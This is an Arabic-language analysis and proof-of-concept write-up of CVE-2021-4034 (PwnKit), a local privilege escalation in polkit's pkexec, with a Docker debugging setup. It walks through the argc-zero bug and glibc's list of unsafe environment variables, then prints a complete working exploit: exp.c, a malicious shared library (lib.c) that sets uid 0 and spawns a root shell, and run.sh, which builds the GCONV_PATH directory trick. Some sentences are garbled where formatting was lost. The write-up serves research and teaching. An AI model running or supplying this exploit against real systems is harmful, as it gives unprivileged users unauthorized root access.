
CVE-2021-4034 إثبات المفهوم و Docker وتقرير التحليل
[toc]
رقم الثغرة: CVE-2021-4034
تصنيف الثغرة:
المنتج المتأثر: linux PolKit (pkexec)
النطاق المتأثر: الإصدارات من 2009 حتى الآن (الحالي 0.105) راجع http://its.dlut.edu.cn/info/1054/78309.htm
شروط الاستغلال: محلي على لينكس؛ ملف pkexec هو suid ولديه صلاحية التنفيذ
الحصول على المصدر: apt source policykit-1
أو https://launchpad.net/ubuntu/bionic/+package/policykit-1
بيئة Docker: chenaotian/cve-2021-4034
Docker الذي أنشأته يوفر:
pkexec مترجم ذاتيًا مع إمكانية تصحيح الأخطاء من المصدركل شيء موجود في الدليل /root/:

su test ثم التشغيلتشغيل Docker:
docker run -d -ti --rm -h cvedebug --name cvedebug --cap-add=SYS_PTRACE chenaotian/cve-2021-4034:latest /bin/bash
اختبار الـ exp:
cd ~/exp/CVE-2021-4034/
./run.sh
su test
./exp
whoami
المنتج الذي تحدث فيه الثغرة هو أمر pkexec ضمن polkit. يشبه pkexec أداة sudo حيث يسمح لنا بتنفيذ الأوامر كمستخدم آخر (عادةً root). يمكن معرفة الحزمة التي ينتمي إليها pkexec باستخدام الأمر dpkg:
dpkg -S /usr/bin/pkexec

ثم الحصول على حزمة المصدر (موجودة أيضًا في Docker الخاص بي)، وبعد ذلك تجميع إصدار قابل للتصحيح من حزمة المصدر لتسهيل التصحيح.
مبدأ إطلاق الثغرة بسيط للغاية
/polkit-0.105/src/programs/pkexec.c : 386 main
int
main (int argc, char *argv[])
{
··· ···
··· ···
/* هذا يعني تكرار المعاملات المدخلة من المستخدم وتعيين القيم بناءً على معاملات مختلفة
* لكن المشكلة أن نقطة البداية للتكرار هي 1، دون مراعاة حالة عدم إدخال المستخدم لأي معاملات
*/
for (n = 1; n < (guint) argc; n++)
{
if (strcmp (argv[n], "--help") == 0)
{
opt_show_help = TRUE;
}
··· ···
else // إذا كان المعامل غير معروف، يتم الخروج من الحلقة، مما يعني أن هذا المعامل هو الأمر المطلوب تنفيذه
{
break;
}
}
··· ···
g_assert (argv[argc] == NULL);
path = g_strdup (argv[n]); // الحصول على السلسلة النصية للأمر المراد تنفيذه
if (path == NULL)
{
···
}
if (path[0] != '/')
{
/* g_find_program_in_path() is not suspectible to attacks via the environment */
// هذه الدالة تبحث عن المسار المطلق للأمر وفقًا لمتغير البيئة PATH
s = g_find_program_in_path (path);
if (s == NULL)
{
···
}
g_free (path);
argv[n] = path = s;// تعديل معامل سطر الأوامر بالمسار المطلق الذي تم الحصول عليه
}
··· ···
··· ···
تحليل استنادًا إلى تعليقاتي في الكود:
pkexec)--، يُعتبر هذا الأمر هو المراد تنفيذه، ويتم الخروج من الحلقة لتنفيذ المنطق التالي.g_find_program_in_path للبحث عن المسار المطلق للأمر. تبحث الدالة وفقًا لمتغير البيئة PATH عن المسار المطلق للمعامل المُمرر (الأمر). على سبيل المثال، إدخال cat يُرجع /bin/cat.من السهل فهمه، لكن المشكلة تكمن في:
عند تشغيل برنامج ثنائي في لينكس، يتم وضع معاملات سطر الأوامر argv[] ومتغيرات البيئة environ[] في أسفل المكدس، وهما متصلان. العنصر الأخير في argv[] هو null.

إذا تم تشغيل pkexec من سطر الأوامر دون أي معاملات أخرى، فإن argv[0] سيكون "pkexec" و argv[1] سيكون \x00، لا مشكلة. لكن إذا تم تشغيل pkexec باستخدام الدالة execve دون أي معاملات أخرى، فإن argv[0] سيكون \x00 و سيكون متغير بيئة! عند قراءة ، سيتم قراءة خارج الحدود ().
إذن ما هو التأثير؟ عند التشغيل باستخدام execve دون أي معاملات أخرى، فإن طول argv[] يساوي 0، وبالتالي argv[1] هو environ[0]. وبهذا يصبح المنطق الذي تم تحليله أعلاه هو: الحصول على قيمة أول متغير بيئة، والبحث عن مساره المطلق في متغير البيئة PATH. إذا تم العثور عليه، يتم كتابته مرة أخرى في أول متغير بيئة. وبالتالي تكون طريقة الاستغلال كالتالي:
أول شيء يجب توضيحه هو أن pkexec هو ملف امتياز (suid):

كيف يمكن استغلال متغيرات البيئة في ملف امتياز؟ أولاً، دعنا نفهم تفصيلًا صغيرًا:
يقوم المُحمل الديناميكي في لينكس ld-linux-x86-64.so.2 بمسح متغيرات البيئة الحساسة عند تنفيذ برامج الامتياز:
الدالة _dl_non_dynamic_init: glibc-2.27/elf/dl-support.c : 307
void
_dl_non_dynamic_init (void)
{
··· ···
··· ···
if (__libc_enable_secure) // في حالة وضع الامتياز
{
static const char unsecure_envvars[] =
UNSECURE_ENVVARS
#ifdef EXTRA_UNSECURE_ENVVARS
EXTRA_UNSECURE_ENVVARS
#endif
;
const char *cp = unsecure_envvars;
// تكرار لمسح جميع متغيرات البيئة في قائمة المتغيرات الخطرة (unset)
while (cp < unsecure_envvars + sizeof (unsecure_envvars))
{
__unsetenv (cp);
cp = (const char *) __rawmemchr (cp, '\0') + 1;
}
#if !HAVE_TUNABLES
if (__access ("/etc/suid-debug", F_OK) != 0)
__unsetenv ("MALLOC_CHECK_");
#endif
}
··· ···
··· ···
}
قائمة متغيرات البيئة الخطرة UNSECURE_ENVVARS معرفة كالتالي:
glibc-2.27/sysdeps/generic/unsecvars.h : 10
#define GLIBC_TUNABLES_ENVVAR "GLIBC_TUNABLES\0"
#define UNSECURE_ENVVARS \
"GCONV_PATH\0" \
"GETCONF_DIR\0" \
GLIBC_TUNABLES_ENVVAR \
"HOSTALIASES\0" \
"LD_AUDIT\0" \
"LD_DEBUG\0" \
"LD_DEBUG_OUTPUT\0" \
"LD_DYNAMIC_WEAK\0" \
"LD_HWCAP_MASK\0" \
"LD_LIBRARY_PATH\0" \
"LD_ORIGIN_PATH\0" \
"LD_PRELOAD\0" \
"LD_PROFILE\0" \
"LD_SHOW_AUXV\0" \
"LD_USE_LOAD_BIAS\0" \
"LOCALDOMAIN\0" \
"LOCPATH\0" \
"MALLOC_TRACE\0" \
"NIS_PATH\0" \
"NLSPATH\0" \
"RESOLV_HOST_CONF\0" \
"RES_OPTIONS\0" \
"TMPDIR\0" \
"TZDIR\0"
عند اكتشاف أن البرنامج هو ملف امتياز (suid)، يتم مسح متغيرات البيئة هذه. يمكن ملاحظة أن معظمها من سلسلة LD_، والتي لديها القدرة على تحديد مسار تحميل المكتبات الديناميكية. هذا لمنع المستخدمين ذوي الصلاحيات المنخفضة من جعل برامج suid تحمل ملفات so غير موثوقة عبر هذه المتغيرات، مما قد يؤدي إلى تنفيذ كود ضار ورفع الامتيازات.
وفي سيناريو هذه الثغرة، لدينا فرصة لكتابة أي متغير بيئة مرة واحدة، وفكرة استغلالنا هي محاولة إيجاد شيء من متغيرات البيئة تلك التي لا يمكن تمريرها عادةً إلى برامج suid.
نظرًا لأن الـ PoC قد نُشر بالفعل، فمن السهل رؤية الإجابة مباشرةً. تمت الإشارة إلى PoC arthepsy. المحتوى بسيط، ولكن من خلال هذا الـ PoC نعلم أن متغير البيئة الرئيسي المستخدم هو GCONV_PATH. إنه بالفعل أحد متغيرات البيئة الخطرة المذكورة أعلاه، بل هو الأول!
حول GCONV_PATH والدالة iconv_open():
الدالة
iconv_open()تطلب واصف تحويل لتحويل تسلسل الأحرف من ترميزfromcodeإلى ترميزtcode. يحتوي واصف التحويل على حالة التحويل. تقوم الدالة أولاً بالعثور على ملفgconv-modulesالمقدم من النظام، والذي يحتوي على مسارات تخزين المعلومات ذات الصلة لكل مجموعة أحرف، حيث يتم تخزين المعلومات في ملف .so. ثم بناءً على إرشادات ملفgconv-modules، تقوم بربط ملف .so المقابل للمعامل لتنفيذ العملية المحددة. إذا كان هناك متغير بيئةGCONV_PATH، فإن الدالةiconv_open()تبحث عن ملفgconv-modulesوفقًا لـGCONV_PATH، وتستمر بقية العملية كما هي.
أي أن متغير البيئة GCONV_PATH هنا له وظيفة مشابهة لـ LD_LIBRARY_PATH. يمكنه تحديد الملفات التي تبحث عنها الدالة iconv_open() عن مكتبات so. إذا تمكنا من تزوير GCONV_PATH ثم تزوير gconv-modules وأخيرًا تزوير ملف so، يمكننا تحميل أي ملف so وتنفيذ أي كود تعسفي.
الفكرة العامة كالتالي:
إنشاء دليل باسم GCONV_PATH=.
إنشاء ملف باسم pwnkitdir داخل الدليل GCONV_PATH=.، مع صلاحية التنفيذ (x)
إنشاء دليل باسم pwnkitdir
إنشاء ملف gconv-modules داخل دليل pwnkit، وكتابة المحتوى التالي وفقًا للتنسيق:
module UTF-8// PWNKIT// pwnkit 1
وضع ملف so ضار pwnkit.so داخل دليل pwnkit، يحتوي على كود للحصول على شل.
تعيين متغيرات البيئة ذات الصلة
pwnkitdirPATH=GCONV_PATH=. وبهذا يكون المسار الذي تركبه الدالة g_find_program_in_path هو GCONV_PATH=./pwnkitdir، وهو تنسيق متغير بيئة تمامًا، والدليل موجود، والملف موجود أيضًا.ثم ينجح الاستغلال. الـ exp التفصيلي كالتالي:
exp.c
#include <stdio.h>
#include <unistd.h>
int main(int argc, char **argv)
{
char * const a_argv [] = { NULL};
char * const a_envp[] = {
"pwnkitdir",
"PATH=GCONV_PATH=.",
"CHARSET=PWNKIT",
"SHELL=xxx",
NULL
};
execve("/usr/local/bin/pkexec", a_argv, a_envp); // يرجى تعديل المسار وفقًا للوضع الفعلي
}
lib.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
static void __attribute__ ((constructor)) exp(void);
static void exp(void)
{
setuid(0); seteuid(0); setgid(0); setegid(0);
static char *a_argv[] = { "sh", NULL };
static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
execve("/bin/sh", a_argv, a_envp);
}
run.sh
mkdir 'GCONV_PATH=.'
touch 'GCONV_PATH=./pwnkitdir'
chmod 777 'GCONV_PATH=./pwnkitdir'
mkdir pwnkitdir
touch pwnkitdir/gconv-modules
echo "module UTF-8// PWNKIT// pwnkit 1" >> pwnkitdir/gconv-modules
gcc -fPIC -shared lib.c -o pwnkitdir/pwnkit.so
gcc exp.c -o exp
الاستغلال ناجح:

التحديث إلى أحدث إصدار
الإفصاح عن الثغرة: https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
PoC لـ arthepsy: https://github.com/arthepsy/CVE-2021-4034
argv[1]argv[1]environ[0]تشغيل pkexec مباشرة من سطر الأوامر، argc = 1، argv[0] هو مسار pkexec:

تشغيل pkexec باستخدام execve، argc = 0:

./pwnkitdirGCONV_PATH=./pwnkitdirCHARSET=PWNKIT، سيتم استخدامه في المسار قبل الوصول إلى iconv_open، للبحث عن so من gconv-modulesSHELL=xxx، سيتم استخدامه في المسار قبل الوصول إلى iconv_openتشغيل pkexec باستخدام execve بمعاملات فارغة، ومتغيرات البيئة مضبوطة كما هو مذكور أعلاه